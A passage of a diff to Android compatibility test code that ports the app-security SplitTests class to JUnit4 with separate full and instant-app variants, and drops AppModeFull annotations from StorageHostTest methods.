-public class SplitTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SplitTests extends BaseAppSecurityTest {
     static final String PKG_NO_RESTART = "com.android.cts.norestart";
     static final String APK_NO_RESTART_BASE = "CtsNoRestartBase.apk";
     static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
 
     static final String PKG = "com.android.cts.splitapp";
     static final String CLASS = PKG + ".SplitAppTest";
-    static final String CLASS_NO_RESTART = PKG_NO_RESTART + ".NoRestartTest";
 
     static final String APK = "CtsSplitApp.apk";
 
@@ -82,181 +84,143 @@
         ABI_TO_APK.put("mips", APK_mips);
     }
 
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
-
-        getDevice().uninstallPackage(PKG);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
         getDevice().uninstallPackage(PKG);
         getDevice().uninstallPackage(PKG_NO_RESTART);
     }
 
-    @AppModeInstant
-    public void testSingleBaseInstant() throws Exception {
-        testSingleBase(true);
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+        getDevice().uninstallPackage(PKG_NO_RESTART);
     }
 
-    @AppModeFull
-    public void testSingleBaseFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testSingleBase_full() throws Exception {
         testSingleBase(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testSingleBase_instant() throws Exception {
+        testSingleBase(true);
+    }
     private void testSingleBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testSingleBase");
+        new InstallMultiple(instant).addApk(APK).run();
+        runDeviceTests(PKG, CLASS, "testSingleBase");
     }
 
-    @AppModeInstant
-    public void testDensitySingleInstant() throws Exception {
-        testDensitySingle(true);
-    }
-
-    @AppModeFull
-    public void testDensitySingleFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDensitySingle_full() throws Exception {
         testDensitySingle(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDensitySingle_instant() throws Exception {
+        testDensitySingle(true);
+    }
     private void testDensitySingle(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_mdpi)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensitySingle");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_mdpi).run();
+        runDeviceTests(PKG, CLASS, "testDensitySingle");
     }
 
-    @AppModeInstant
-    public void testDensityAllInstant() throws Exception {
-        testDensityAll(true);
-    }
-
-    @AppModeFull
-    public void testDensityAllFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDensityAll_full() throws Exception {
         testDensityAll(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDensityAll_instant() throws Exception {
+        testDensityAll(true);
+    }
     private void testDensityAll(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
-                .addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityAll");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
+                .addApk(APK_xxhdpi).run();
+        runDeviceTests(PKG, CLASS, "testDensityAll");
     }
 
     /**
      * Install first with low-resolution resources, then add a split that offers
      * higher-resolution resources.
      */
-    @AppModeInstant
-    public void testDensityBestInstant() throws Exception {
-        testDensityBest(true);
-    }
-
-    /**
-     * Install first with low-resolution resources, then add a split that offers
-     * higher-resolution resources.
-     */
-    @AppModeFull
-    public void testDensityBestFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDensityBest_full() throws Exception {
         testDensityBest(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDensityBest_instant() throws Exception {
+        testDensityBest(true);
+    }
     private void testDensityBest(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_mdpi)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest1");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_mdpi).run();
+        runDeviceTests(PKG, CLASS, "testDensityBest1");
 
         // Now splice in an additional split which offers better resources
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest2");
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_xxhdpi).run();
+        runDeviceTests(PKG, CLASS, "testDensityBest2");
     }
 
     /**
      * Verify that an API-based split can change enabled/disabled state of
      * manifest elements.
      */
-    @AppModeInstant
-    public void testApiInstant() throws Exception {
-        testApi(true);
-    }
-
-    /**
-     * Verify that an API-based split can change enabled/disabled state of
-     * manifest elements.
-     */
-    @AppModeFull
-    public void testApiFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testApi_full() throws Exception {
         testApi(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testApi_instant() throws Exception {
+        testApi(true);
+    }
     private void testApi(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testApi");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_v7).run();
+        runDeviceTests(PKG, CLASS, "testApi");
     }
 
-    @AppModeInstant
-    public void testLocaleInstant() throws Exception {
-        testLocale(true);
-    }
-
-    @AppModeFull
-    public void testLocaleFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testLocale_full() throws Exception {
         testLocale(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testLocale_instant() throws Exception {
+        testLocale(true);
+    }
     private void testLocale(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testLocale");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_de).addApk(APK_fr).run();
+        runDeviceTests(PKG, CLASS, "testLocale");
     }
 
     /**
      * Install test app with <em>single</em> split that exactly matches the
      * currently active ABI. This also explicitly forces ABI when installing.
      */
-    @AppModeInstant
-    public void testNativeSingleInstant() throws Exception {
-        testNativeSingle(true);
-    }
-
-    /**
-     * Install test app with <em>single</em> split that exactly matches the
-     * currently active ABI. This also explicitly forces ABI when installing.
-     */
-    @AppModeFull
-    public void testNativeSingleFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeSingle_full() throws Exception {
         testNativeSingle(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeSingle_instant() throws Exception {
+        testNativeSingle(true);
+    }
     private void testNativeSingle(boolean instant) throws Exception {
-        final String abi = mAbi.getName();
+        final String abi = getAbi().getName();
         final String apk = ABI_TO_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple().addApk(APK).addApk(apk)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        new InstallMultiple(instant).addApk(APK).addApk(apk).run();
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
     /**
@@ -265,360 +229,308 @@
      * installing, instead exercising the system's ability to choose the ABI
      * through inspection of the installed app.
      */
-    @AppModeInstant
-    public void testNativeSingleNaturalInstant() throws Exception {
-        testNativeSingleNatural(true);
-    }
-
-    /**
-     * Install test app with <em>single</em> split that exactly matches the
-     * currently active ABI. This variant <em>does not</em> force the ABI when
-     * installing, instead exercising the system's ability to choose the ABI
-     * through inspection of the installed app.
-     */
-    @AppModeFull
-    public void testNativeSingleNaturalFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeSingleNatural_full() throws Exception {
         testNativeSingleNatural(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeSingleNatural_instant() throws Exception {
+        testNativeSingleNatural(true);
+    }
     private void testNativeSingleNatural(boolean instant) throws Exception {
-        final String abi = mAbi.getName();
+        final String abi = getAbi().getName();
         final String apk = ABI_TO_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        new InstallMultiple(instant).useNaturalAbi().addApk(APK).addApk(apk).run();
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
     /**
      * Install test app with <em>all</em> possible ABI splits. This also
      * explicitly forces ABI when installing.
      */
-    @AppModeInstant
-    public void testNativeAllInstant() throws Exception {
-        testNativeAll(true, false);
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeAll_full() throws Exception {
+        testNativeAll(false);
     }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This also
-     * explicitly forces ABI when installing.
-     */
-    @AppModeFull
-    public void testNativeAllFull() throws Exception {
-        testNativeAll(false, false);
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeAll_instant() throws Exception {
+        testNativeAll(true);
     }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This variant
-     * <em>does not</em> force the ABI when installing, instead exercising the
-     * system's ability to choose the ABI through inspection of the installed
-     * app.
-     */
-    @AppModeInstant
-    public void testNativeAllNaturalInstant() throws Exception {
-        testNativeAll(true, true);
-    }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This variant
-     * <em>does not</em> force the ABI when installing, instead exercising the
-     * system's ability to choose the ABI through inspection of the installed
-     * app.
-     */
-    @AppModeFull
-    public void testNativeAllNaturalFull() throws Exception {
-        testNativeAll(false, true);
-    }
-
-    private void testNativeAll(boolean instant, boolean natural) throws Exception {
-        final InstallMultiple inst = new InstallMultiple().addApk(APK);
+    private void testNativeAll(boolean instant) throws Exception {
+        final InstallMultiple inst = new InstallMultiple(instant).addApk(APK);
         for (String apk : ABI_TO_APK.values()) {
             inst.addApk(apk);
         }
-        if (instant) {
-            inst.addArg("--instant");
-        }
-        if (natural) {
-            inst.useNaturalAbi();
+        inst.run();
+        runDeviceTests(PKG, CLASS, "testNative");
+    }
+
+    /**
+     * Install test app with <em>all</em> possible ABI splits. This variant
+     * <em>does not</em> force the ABI when installing, instead exercising the
+     * system's ability to choose the ABI through inspection of the installed
+     * app.
+     */
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeAllNatural_full() throws Exception {
+        testNativeAllNatural(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeAllNatural_instant() throws Exception {
+        testNativeAllNatural(true);
+    }
+    private void testNativeAllNatural(boolean instant) throws Exception {
+        final InstallMultiple inst = new InstallMultiple(instant).useNaturalAbi().addApk(APK);
+        for (String apk : ABI_TO_APK.values()) {
+            inst.addApk(apk);
         }
         inst.run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
-    @AppModeInstant
-    public void testDuplicateBaseInstant() throws Exception {
-        testDuplicateBase(true);
-    }
-
-    @AppModeFull
-    public void testDuplicateBaseFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDuplicateBase_full() throws Exception {
         testDuplicateBase(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDuplicateBase_instant() throws Exception {
+        testDuplicateBase(true);
+    }
     private void testDuplicateBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).addApk(APK).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDuplicateSplit() throws Exception {
-        testDuplicateSplit(true);
-    }
-
-    @AppModeFull
-    public void testDuplicateSplitFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDuplicateSplit_full() throws Exception {
         testDuplicateSplit(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDuplicateSplit_instant() throws Exception {
+        testDuplicateSplit(true);
+    }
     private void testDuplicateSplit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).addApk(APK_v7).addApk(APK_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffCertInstant() throws Exception {
-        testDiffCert(true);
-    }
-
-    @AppModeFull
-    public void testDiffCertFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffCert_full() throws Exception {
         testDiffCert(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffCert_instant() throws Exception {
+        testDiffCert(true);
+    }
     private void testDiffCert(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_CERT_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffCertInheritInstant() throws Exception {
-        testDiffCertInherit(true);
-    }
-
-    @AppModeFull
-    public void testDiffCertInheritFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffCertInherit_full() throws Exception {
         testDiffCertInherit(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffCertInherit_instant() throws Exception {
+        testDiffCertInherit(true);
+    }
     private void testDiffCertInherit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK) .addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_CERT_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffVersionInstant() throws Exception {
-        testDiffVersion(true);
-    }
-
-    @AppModeFull
-    public void testDiffVersionFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffVersion_full() throws Exception {
         testDiffVersion(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffVersion_instant() throws Exception {
+        testDiffVersion(true);
+    }
     private void testDiffVersion(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_VERSION_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffVersionInheritInstant() throws Exception {
-        testDiffVersionInherit(true);
-    }
-
-    @AppModeFull
-    public void testDiffVersionInheritFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffVersionInherit_full() throws Exception {
         testDiffVersionInherit(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffVersionInherit_instant() throws Exception {
+        testDiffVersionInherit(true);
+    }
     private void testDiffVersionInherit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffRevisionInstant() throws Exception {
-        testDiffRevision(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffRevision_full() throws Exception {
         testDiffRevision(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffRevision_instant() throws Exception {
+        testDiffRevision(true);
+    }
     private void testDiffRevision(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
+        runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionInheritBaseInstant() throws Exception {
-        testDiffRevisionInheritBase(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionInheritBaseFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffRevisionInheritBase_full() throws Exception {
         testDiffRevisionInheritBase(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffRevisionInheritBase_instant() throws Exception {
+        testDiffRevisionInheritBase(true);
+    }
     private void testDiffRevisionInheritBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_v7).run();
+        runDeviceTests(PKG, CLASS, "testRevision0_0");
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7).run();
+        runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionInheritSplitInstant() throws Exception {
-        testDiffRevisionInheritSplit(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionInheritSplitFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffRevisionInheritSplit_full() throws Exception {
         testDiffRevisionInheritSplit(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffRevisionInheritSplit_instant() throws Exception {
+        testDiffRevisionInheritSplit(true);
+    }
     private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision12_0");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_v7).run();
+        runDeviceTests(PKG, CLASS, "testRevision0_0");
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_DIFF_REVISION).run();
+        runDeviceTests(PKG, CLASS, "testRevision12_0");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionDowngradeInstant() throws Exception {
-        testDiffRevisionDowngrade(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionDowngradeFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testDiffRevisionDowngrade_full() throws Exception {
         testDiffRevisionDowngrade(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testDiffRevisionDowngrade_instant() throws Exception {
+        testDiffRevisionDowngrade(true);
+    }
     private void testDiffRevisionDowngrade(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+        new InstallMultiple(instant).addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addApk(APK_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testFeatureBaseInstant() throws Exception {
-        testFeatureBase(true);
-    }
-
-    @AppModeFull
-    public void testFeatureBaseFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testFeatureBase_full() throws Exception {
         testFeatureBase(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testFeatureBase_instant() throws Exception {
+        testFeatureBase(true);
+    }
     private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureBase");
+        new InstallMultiple(instant).addApk(APK).addApk(APK_FEATURE).run();
+        runDeviceTests(PKG, CLASS, "testFeatureBase");
     }
 
-    @AppModeInstant
-    public void testFeatureApiInstant() throws Exception {
-        testFeatureApiInstant(true);
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testFeatureApi_full() throws Exception {
+        testFeatureApi(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testFeatureApi_instant() throws Exception {
+        testFeatureApi(true);
+    }
+    private void testFeatureApi(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7).run();
+        runDeviceTests(PKG, CLASS, "testFeatureApi");
     }
 
-    @AppModeFull
-    public void testFeatureApiFull() throws Exception {
-        testFeatureApiInstant(false);
-    }
-
-    private void testFeatureApiInstant(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureApi");
-    }
-
-    @AppModeFull
-    @AppModeInstant
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
     public void testInheritUpdatedBase() throws Exception {
         // TODO: flesh out this test
     }
 
-    @AppModeFull
-    @AppModeInstant
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
     public void testInheritUpdatedSplit() throws Exception {
         // TODO: flesh out this test
     }
 
-    @AppModeInstant
-    public void testFeatureWithoutRestartInstant() throws Exception {
-        testFeatureWithoutRestart(true);
-    }
-
-    @AppModeFull
-    public void testFeatureWithoutRestartFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testFeatureWithoutRestart_full() throws Exception {
         testFeatureWithoutRestart(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testFeatureWithoutRestart_instant() throws Exception {
+        testFeatureWithoutRestart(true);
+    }
     private void testFeatureWithoutRestart(boolean instant) throws Exception {
+        // always install as a full app; we're testing that the instant app can be
+        // updated without restarting and need a broadcast receiver to ensure the
+        // correct behaviour. So, this component must be visible to instant apps.
         new InstallMultiple().addApk(APK).run();
 
-        new InstallMultiple().addApk(APK_NO_RESTART_BASE)
-                .addArg(instant ? "--instant" : "").run();
-
-        if (instant) {
-            // Poke the full app so it can see the instant app.
-            runDeviceTestsAsCurrentUser(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
-        }
-
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testBaseInstalled");
-
-        new InstallMultiple()
-                .addArg(instant ? "--instant" : "")
+        new InstallMultiple(instant).addApk(APK_NO_RESTART_BASE).run();
+        runDeviceTests(PKG, CLASS, "testBaseInstalled", instant);
+        new InstallMultiple(instant)
                 .addArg("--dont-kill")
                 .inheritFrom(PKG_NO_RESTART)
                 .addApk(APK_NO_RESTART_FEATURE)
                 .run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureInstalled");
+        runDeviceTests(PKG, CLASS, "testFeatureInstalled", instant);
     }
 
     /**
      * Verify that installing a new version of app wipes code cache.
      */
-    @AppModeInstant
-    public void testClearCodeCacheInstant() throws Exception {
-        testClearCodeCache(true);
-    }
-
-    /**
-     * Verify that installing a new version of app wipes code cache.
-     */
-    @AppModeFull
-    public void testClearCodeCacheFull() throws Exception {
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testClearCodeCache_full() throws Exception {
         testClearCodeCache(false);
     }
-
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testClearCodeCache_instant() throws Exception {
+        testClearCodeCache(true);
+    }
     private void testClearCodeCache(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheWrite");
-        new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
-                .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheRead");
-    }
-
-    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
-        public InstallMultiple() {
-            super(getDevice(), mCtsBuild, mAbi);
-        }
-    }
-
-    public void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+        new InstallMultiple(instant).addApk(APK).run();
+        runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
+        new InstallMultiple(instant).addArg("-r").addApk(APK_DIFF_VERSION).run();
+        runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index 7c64324..38f7347 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.TestDescription;
@@ -74,13 +73,11 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerify() throws Exception {
         Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerify");
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -99,7 +96,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppQuota() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
@@ -107,7 +103,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppAllocate() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
@@ -115,7 +110,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifySummary() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
@@ -123,7 +117,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
@@ -131,7 +124,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsMultiple() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -146,7 +138,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsExternal() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
@@ -154,7 +145,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsExternalConsistent() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
@@ -162,7 +152,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyCategory() throws Exception {
         for (int user : mUsers) {
